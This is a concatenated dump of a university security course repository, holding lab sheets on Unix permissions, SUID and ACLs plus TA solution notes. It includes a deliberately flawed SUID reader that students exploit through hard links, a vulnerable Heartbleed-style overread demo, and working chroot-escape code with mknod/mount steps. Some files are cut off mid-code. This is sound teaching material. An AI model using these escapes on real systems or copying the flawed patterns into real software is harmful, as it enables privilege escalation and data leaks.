Can bob modify the file's content? Will charlie be able to modify 49 | it? Why? 50 | 51 | 2. Now add Charlie to the admin's group. Can he modify the file now? 52 | 53 | | Permission | File | Directory | 54 | |-------------|------------------------|----------------------------------------------------------------| 55 | | read (r) | allowed to view file | allowed to view contents directory contents | 56 | | write (w) | allowed to write to | allowed to remove or file add new files to the directory | 57 | | execute (x) | allowed to execute file| allowed to access files in the directory | 58 | 59 | 60 | **Task 2:** Special Permissions 61 | 62 | In addition to the regular permissions of read, write and execute 63 | there are 3 special permissions. They hold the same place value as the 64 | regular permissions and are: 65 | 66 | SETUID - set user ID on execute 67 | 68 | SETGID - set group ID on execute 69 | 70 | StickyBit - puts the directory in sticky mode 71 | 72 | The SETUID and SETGID permissions allow users and groups who are not the 73 | owner or group of a file to execute that file as though they were. When 74 | the Sticky Bit is set on a directory, only that directory's owner or 75 | root can delete or rename the directory's files. 76 | 77 | *Note: Use the octal representation as well* 78 | 79 | 80 | | Permission | Octal Value | 81 | |---------------|------------------------------------------------------------------| 82 | | read (r) | 4 | 83 | | write (w) | 2 | 84 | | execute (x) | 1 | 85 | | No permission | 0 | 86 | 87 | 1. Log in as Alice and create a folder called alicefolder. Set the 88 | SETUID, SETGID and Sticky Bit permissions, list the permissions. 89 | What do you notice? 90 | 91 | 2. Remove execute for all, but leave the special permissions, what 92 | changes do you notice? 93 | 94 | 3. Assign the minimum group permissions for alicefolder so that users 95 | from other groups can browse the folder and read the files within 96 | it. 97 | 98 | 4. Change the owner and group for alicefolder to bob 99 | 100 | 5. Log is as charlie and create a folder called charlie_likes_to_share. 101 | Set the permissions for this folder in such a way that charlie can 102 | share the files with alice and bob. This means that alice and bob 103 | can browse the folder, read the content of any files, but cannot 104 | modify, rename or delete any other files than their own. Have you 105 | noticed a limitation during that process? 106 | 107 | 6. As charlie, create a file sensitivedata.txt and write a line of text 108 | in this file. Set no permissions for group and other for this file. 109 | Switch user to alice, and try to read the data from this file using 110 | nano. Alice has permission to run nano, but not to read the file. So 111 | when nano attempts to read the file a "permission denied" error 112 | message will be displayed. However, if you set the SUID bit on the 113 | nano, alice is granted access to the file. How does it work? The 114 | UNIX system doesn't think bugs is reading file via nano, it thinks 115 | "root" is the user and hence the access is granted. Test this and 116 | use ps to monitor what is going on. 117 | 118 | **Task 3:** Linux Access Control Lists 119 | 120 | Hints: 121 | 122 | - The getfacl command displays the file name, owner, group and the existing ACL for a file. 123 | 124 | - The setfacl command sets ACLs of files and directories. 125 | 126 | The -m option adds or modifies one or more rules in a file or folder's ACL. 127 | 128 | - The -b option removes rules in a file or folder's ACL. 129 | 130 | ### Discussion 131 | 132 | 1. Create 2 additional users abbott and costello. Create a group called 133 | actors and add both abbott and costello to it. 134 | 135 | 2. Create a folder called important-files in the home folder of the 136 | user costello. Display the ACL of important-files. 137 | 138 | *At the moment, are there any differences between using ls --la and getfacl? * 139 | 140 | 3. Now, login as abbott and try to create a file called abbott.txt in 141 | the costello important-files directory. Did it work? Why? 142 | 143 | Remove the SUID configuration you added during task 2 144 | and try again. Does it work now? 145 | 146 | If not try to add a rule to the ACL of the folder costello important-files that 147 | gives to the actors group read, write and execute permissions to that 148 | folder. 149 | 150 | *Try to create the abbott.txt file again and what do you observe* 151 | 152 | 4. Remove the permissions you have added previously. Try to change the 153 | rules between the two users and see how you can play around/affect 154 | the permissions. 155 | 156 | ### Extra Task: Writing a SUID program in C 157 | 158 | **accessmysecret.c** 159 | 160 | ```C 161 | #include 162 | #include 163 | #include 164 | #include 165 | #include 166 | 167 | int main(void) { 168 | printf("Real UID: %d Real GID: %d\n" 169 | "Effective UID: %d Effective GID: %d\n", 170 | getuid (), getgid (), 171 | geteuid(), getegid()); 172 | FILE *fp = fopen("mysecret", "r"); 173 | if (fp == NULL) { 174 | printf("Error: Could not open file\n"); 175 | exit(EXIT_FAILURE); 176 | } 177 | char c; 178 | while ((c=getc(fp)) != EOF) { 179 | putchar(c); 180 | } 181 | putchar('\n'); 182 | return EXIT_SUCCESS; 183 | } 184 | ``` 185 | 186 | - Now you are going to create a SUID program, to grant access to the 187 | contents of your "mysecret" file to anyone who runs the program, 188 | without sharing direct access to the file. 189 | 190 | `touch ~/mysecret` 191 | 192 | Make sure the file is only accessible by the owner : 193 | 194 | 'ls -la' should show `-rw-------` for that file. 195 | 196 | - Compile the program provided: 197 | 198 | `make accessmysecrets` 199 | 200 | Set the permissions for the file (using chmod) to setuid: 201 | 202 | `chmod u+s accessmysecrets` 203 | 204 | - Check the permissions include SUID: 205 | 206 | 'ls -l accessmysecrets' 207 | 208 | - Run the program: `./accessmysecrets` 209 | 210 | - Note that the program outputs its real and effective identity. 211 | 212 | - Change to another user, and execute the program: 213 | 214 | `~yourusername/accessmysecrets` 215 | 216 | - Note that the effective ID is that of the owner of the program. You 217 | should also see the contents of the mysecret file, even though you 218 | don't have access to the secrets file directly. 219 | 220 | 1. Think about the security of this solution. How secure is it? Would 221 | it be safe for root to be the owner of this program? Why not? 222 | 223 | 2. Switch to another user and use the SUID accessmysecrets program to 224 | get read access to any one of the owner user's files! 225 | 226 | **Hints**: 227 | 228 | 1. there is a security problem with this code. 229 | 230 | 2. think about hard links. 231 | 232 | # Challenge: 233 | 234 | - Modify the program to correct the above vulnerability. 235 | 236 | - Modify the program so that only the first line of the mysecrets file 237 | is displayed to others. 238 | 239 | - Modify the program so that the script checks the UID and only 240 | continues for a specific user (for example, if the user is root). 241 | 242 | **Hint **: `man getuid` 243 | -------------------------------------------------------------------------------- /docs/labs/Labs Solutions: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /docs/labs/heartbeat_normal.bin: -------------------------------------------------------------------------------- 1 | TAshish -------------------------------------------------------------------------------- /docs/labs/heartbleed.c: -------------------------------------------------------------------------------- 1 | /* ******************************************************************************* 2 | * This is a simpple version of the heartbleaad vulnerability to demonstrate the * 3 | * information leak (buffer overread) vulnerability. * 4 | * 5 | * ******************************************************************************/ 6 | 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | 16 | #define n2s(c,s) ((s=(((unsigned int)(c[0]))<< 8)| \ 17 | (((unsigned int)(c[1])) )),c+=2) //it extract the 1st 2 bytes from c 18 | // and put them in s (lenth of the message as is read from the input file) 19 | #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s) )&0xff)),c+=2) 20 | 21 | 22 | typedef struct ssl3_record_st 23 | { 24 | /*r */ int type; /* type of record NOT USED */ 25 | /*rw*/ unsigned int length; /* How many bytes available NOT uSED*/ 26 | /*r */ unsigned int off; /* read/write offset into 'buf' NOT USED*/ 27 | /*rw*/ unsigned char *data; /* pointer to the record data. it contains the whole input */ 28 | } SSL; 29 | 30 | int process_heartbeet(SSL *s) { 31 | unsigned char *p = &s->data[0], *pl; //points to the message filed of the input 32 | unsigned short hbtype; 33 | unsigned int payload; // for keeping the lenth of the message from the input 34 | unsigned int padding = 16; /* Use minimum padding. Added just to have some resemblance with the real code. */ 35 | unsigned int size_buf; 36 | 37 | /* Read type and payload length first */ 38 | hbtype = *p++; // reads the 1st byte from the input 39 | n2s(p, payload); // payload has the lenth now 40 | pl = p;//pl points to the start of the message (3rd byte) from the input file 41 | // printf("payload - %d, message - %s\n", payload, pl); 42 | unsigned char *buffer, *bp, *pr; 43 | int r, out; 44 | 45 | /* Allocate memory for the response, size is 1 byte 46 | * * message type, plus 2 bytes payload length, plus 47 | * * payload, plus padding 48 | * */ 49 | size_buf=1 + 2 + payload + padding; 50 | buffer = malloc(size_buf);//note we are allocating the size which includes lenth field extracted from the input 51 | bp = buffer; 52 | pr= buffer; 53 | 54 | s2n(payload, bp); 55 | memcpy(bp, pl, payload); // copying the contain from pl to bp. 56 | /* The assumption is: payload = len(pl). However, payload is also extracted from the input file. If we put a large number there, 57 | * that large number will be used to read memory starting from &pl. In normal condition, payload is indeed equal to the length of 58 | * the message field. Overread happens when we provide a large payload number. Normal fuzzing process will not detect it, becuase???? 59 | */ 60 | 61 | //lets print the buffer 62 | printf("[*] HeartBeat:\n"); 63 | for (out=0; out 20 | #include 21 | mkdir("escape",0700); 22 | chroot("escape"); 23 | chdir(".."); 24 | chdir(".."); 25 | chdir(".."); 26 | chroot("."); 27 | } 28 | ``` 29 | 30 | Running this code inside the jail will output the content of the actual root filesystem. 31 | 32 | # Task 3 33 | 34 | The chroot can be escaped as following: 35 | 36 | * you need to know where your root disk is mounted using ls /dev/* command and grab the major and the minor number of the mounted device. Example: 37 | brw-rw---- 1 root disk 8, 1 Nov 17 14:51 /dev/sda1 38 | Here the major number of the device is 8 and minor number is 1. 39 | 40 | Inside the jail: 41 | * mknod escape b 8 1 42 | * mkdir rootfs 43 | * mount escape rootfs/ 44 | 45 | After that, you should have the content of the root filesystem mounted inside the jail in rootfs folder. 46 | 47 | **It is strongly advised to run this inside a vm. If you run this on your host OS, do not delete the rootfs folder without unmounting it first using the umount command** 48 | 49 | # Task 4 50 | 51 | * What happens when you run the program? 52 | The program finished without errors 53 | 54 | * What is SCMP_ACT_ALLOW parameter? 55 | It whitelists all system calls by default 56 | 57 | # Task 5 58 | 59 | * Replace SCMP_ACT_ALLOW with another parameter to disallow all system calls. Use the help of man pages. 60 | 61 | You should use SCMP_ACT_KILL to disallow all system calls. 62 | 63 | # Task 6 64 | To allow the program to finish successfully, use this code: 65 | 66 | ```c 67 | void create_sandbox(){ 68 | scmp_filter_ctx ctx; 69 | ctx = seccomp_init(SCMP_ACT_KILL); 70 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0); 71 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); 72 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(newfstatat), 0); 73 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); 74 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0); 75 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); 76 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); 77 | seccomp_load(ctx); 78 | } 79 | ``` 80 | 81 | You might need to tweak this a bit depending on your version of Linux, use strace to figure out what system calls you to need to whitelist. 82 | 83 | # Task 7 84 | 85 | * Can we inspect the system call parameters using seccomp? If no, can you figure out why? 86 | We can inspect some types of params, but for example, we can't dereference pointers. That's why we can't whitelist access to certain files, because we can't examine the file pointer that is passed to seccomp. 87 | 88 | # Task 9 89 | 90 | ```c 91 | pledge("stdio rpath", NULL); 92 | ``` 93 | 94 | # Task 10 95 | 96 | ```c 97 | unveil("/home",NULL); 98 | -------------------------------------------------------------------------------- /docs/solutions/Lab 7 Access Control Lab.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/solutions/Lab 7 Access Control Lab.pdf -------------------------------------------------------------------------------- /docs/solutions/Lab Notes.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/solutions/Lab Notes.pptx -------------------------------------------------------------------------------- /docs/solutions/Labs: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /docs/solutions/README.md: -------------------------------------------------------------------------------- 1 | Solutions 2 | ========= 3 | 4 | Theoretically these exist but in reality they're half written notes by former TAs. Your millage may vary, but always feel free to harangue Jo or Sana if you don't understand or can't complete something. 5 | 6 | (Unless it's one of Jo's utter impossible _advanced_ exercises which may or may not technically be impossible). 7 | --------------------------------------------------------------------------------